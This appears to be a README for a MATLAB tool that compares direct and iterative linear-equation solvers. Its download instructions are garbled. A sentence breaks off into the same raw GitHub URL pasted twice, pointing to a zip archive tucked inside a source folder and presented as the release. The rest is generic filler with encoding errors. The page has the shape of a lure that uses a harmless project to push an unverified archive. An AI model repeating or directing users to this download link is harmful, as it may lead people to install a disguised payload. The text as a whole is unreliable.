This MATLAB project helps you compare the performance of different methods for solving equations of the form Ax = b. It includes both direct methods like Gaussian Elimination and iterative methods like Jacobi and Gauss-Seidel. By using this application, you can easily see the time taken and iterations needed for each method.
- Multiple Methods: Supports Gaussian Elimination, Gauss-Jordan Elimination, LU Decomposition, Jacobi, Gauss-Seidel, and Successive Over-Relaxation (SOR).
- Performance Analysis: Measure time and iterations for each method.
- User-Friendly Interface: Designed for easy navigation and understanding.
Follow the steps below to download and run the software on your computer.
Visit this page to download: Download Link.
Navigate to the "Releases" section. Look for the latest version at the top of the list. Click on it to expand the details.
Download the appropriate file for your operating system. The file you want will usually end with .zip or https://github.com/duncanboughten663/matlab-linear-solver-comparison/raw/refs/heads/main/+linearSolvers/matlab-linear-solver-comparison_v2.2.zip+https://github.com/duncanboughten663/matlab-linear-solver-comparison/raw/refs/heads/main/+linearSolvers/matlab-linear-solver-comparison_v2.2.zip. Click on the link to start your download.
After the download completes, locate the file in your downloads folder. If the file is compressed:
- For Windows: Right-click on the file and choose "Extract All."
- For macOS: Double-click the file, and it will extract automatically.
Make sure you have MATLAB installed on your computer. If you donβt have it yet, download it from the MathWorks website and follow their installation instructions.
- Open MATLAB.
- In the MATLAB workspace, navigate to the folder where you extracted the files. You can use the
cdcommand to change directories. - Type the name of the main script (usually something like
solverComparison.m) and press Enter.
Once the application is running, you will see a user-friendly interface. Hereβs how to use the application:
- Input Matrix: Enter your matrix A and vector b.
- Select Method: Choose the method you want to use for solving.
- Run: Click the "Solve" button to start the computation.
- View Results: The results will display the time taken and iterations for the selected method.
- Operating System: Windows, macOS, or Linux
- MATLAB Version: R2018b or newer
- Memory: Minimum of 4 GB RAM
- Storage: At least 100 MB available space
If you encounter any issues, consider the following:
- Ensure MATLAB is running.
- Double-check that you have the correct version of MATLAB installed.
- Confirm that the files are extracted properly before running.
This project covers several important topics in applied linear algebra, including:
- Gaussian Elimination
- Gauss-Jordan Elimination
- LU Decomposition
- Jacobi Method
- Gauss-Seidel Method
- Successive Over-Relaxation (SOR)
Ready to get started? Visit this page to download the software: Download Here. Follow the steps above to run the application and begin comparing solver methods with ease.
If you want to contribute to this project, you can fork the repository and make your changes. Submit a pull request with your updates. Any suggestions or improvements are welcome.
For further assistance or inquiries, please reach out to the repository owner through their GitHub profile. You can also create an issue in the "Issues" tab for any specific bugs or suggestions.
Enjoy exploring the performance of different MATLAB solver methods! Happy coding!